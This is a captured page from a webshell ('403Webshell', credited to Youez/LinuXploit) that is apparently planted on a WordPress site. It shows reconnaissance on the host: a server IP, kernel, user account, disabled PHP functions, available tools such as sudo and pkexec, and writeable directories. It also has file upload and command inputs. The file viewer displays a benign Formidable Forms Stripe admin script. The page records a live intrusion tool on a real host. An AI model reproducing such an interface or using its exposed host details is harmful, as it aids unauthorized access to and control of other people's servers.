403Webshell
Server IP : 52.211.252.20  /  Your IP : 172.31.14.113
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux ip-172-31-10-208.eu-west-1.compute.internal 6.8.0-1044-aws #46~22.04.1-Ubuntu SMP Tue Dec 2 12:52:18 UTC 2025 x86_64
User : kazang ( 1006)
PHP Version : 8.2.31
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/kazang/web/kazang.com/public_html/wp-content/plugins/formidable/stripe/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kazang/web/kazang.com/public_html/wp-content/plugins/formidable/stripe/js/frmtrans_admin.js
( function() {
	function toggleSub() {
		const val = this.value;
		const show = val === 'recurring';
		slideOpts( this, show, '.frm_trans_sub_opts' );
		toggleOpts( this, ! show, '.frm_gateway_no_recur' );
	}

	function slideOpts( opt, show, c ) {
		const opts = jQuery( opt ).closest( '.frm_form_action_settings' ).find( c );
		if ( show ) {
			opts.slideDown( 'fast' );
		} else {
			opts.slideUp( 'fast' );
		}
	}

	function toggleOpts( opt, show, c ) {
		const opts = jQuery( opt ).closest( '.frm_form_action_settings' ).find( c );
		if ( show ) {
			opts.css( 'display', '' );
			opts.removeClass( 'frm_hidden' );
		} else {
			opts.css( 'display', 'none' );
			opts.addClass( 'frm_hidden' );
		}
	}

	function toggleGateway() {
		const gateway = this.value;
		const { checked } = this;

		toggleOpts( this, checked, `.show_${ gateway }` );

		const gateways = [ 'stripe', 'square', 'paypal' ];
		const toggleOff = gateways.filter( g => g !== gateway );

		const settings = jQuery( this ).closest( '.frm_form_action_settings' );
		const showClass = `show_${ settings.find( '.frm_gateway_opt input:checked' ).attr( 'value' ) }`;

		toggleOff.forEach(
			function( gateway ) {
				const gatewaySettings = settings.get( 0 ).querySelectorAll( `.show_${ gateway }` );
				gatewaySettings.forEach(
					setting => {
						if ( ! setting.classList.contains( showClass ) ) {
							setting.style.display = 'none';
						}
					}
				);
			}
		);

		wp.hooks.doAction( 'frm_trans_toggled_gateway', { gateway, checked, settings } );

		document.querySelectorAll( '.frm-billing-section-heading' ).forEach( function( el ) {
			el.textContent = gateway === 'paypal' ? el.dataset.billingLabel : el.dataset.customerLabel;
		} );
	}

	function frmTransLiteAdminJS() {
		return {
			init() {
				const actions = document.getElementById( 'frm_notification_settings' );
				if ( actions ) {
					jQuery( actions ).on( 'change', '.frm_trans_type', toggleSub );

					document.addEventListener(
						'change',
						function( event ) {
							if ( ! event.target || ! event.target.checked || 'radio' !== event.target.type ) {
								return;
							}

							if ( event.target.closest( '.frm-long-icon-buttons' ) && event.target.closest( '.frm_form_action_settings' ) ) {
								toggleGateway.call( event.target );
							}
						}
					);
				}

				document.querySelectorAll( '.frm_trans_ajax_link' ).forEach(
					link => link.addEventListener(
						'click',
						function( event ) {
							runAjaxLink.bind( link )( event );
						}
					)
				);
			}
		};
	}

	function runAjaxLink( e ) {
		e.preventDefault();

		const $link = jQuery( this );
		const handleConfirmedClick = e => {
			e.preventDefault();

			const href = $link.attr( 'href' );
			const loadingImage = document.createElement( 'span' );
			loadingImage.className = 'frm-loading-img';

			$link.replaceWith( loadingImage );
			jQuery.ajax( {
				type: 'GET',
				url: href,
				data: {
					nonce: frm_trans_vars.nonce
				},
				success( html ) {
					jQuery( loadingImage ).replaceWith( html );
				}
			} );
		};

		if ( ! e.currentTarget.dataset.frmverify ) {
			handleConfirmedClick( e );
			return;
		}

		jQuery( '#frm-confirmed-click' ).one( 'click', handleConfirmedClick );

		// Prevent handleConfirmedClick from triggering when the current modal is closed so that it won't be run by other elements.
		const unbindHandleConfirmedClick = e => {
			if ( e.target.matches( '.ui-widget-overlay, .dismiss' ) ) {
				// eslint-disable-next-line no-jquery/no-bind
				jQuery( '#frm-confirmed-click' ).unbind( 'click', handleConfirmedClick );
				document.removeEventListener( 'click', unbindHandleConfirmedClick );
			}
		};

		document.addEventListener( 'click', unbindHandleConfirmedClick );
		return false;
	}

	jQuery( document ).ready( frmTransLiteAdminJS().init );
}() );

Youez - 2016 - github.com/yon3zu
LinuXploit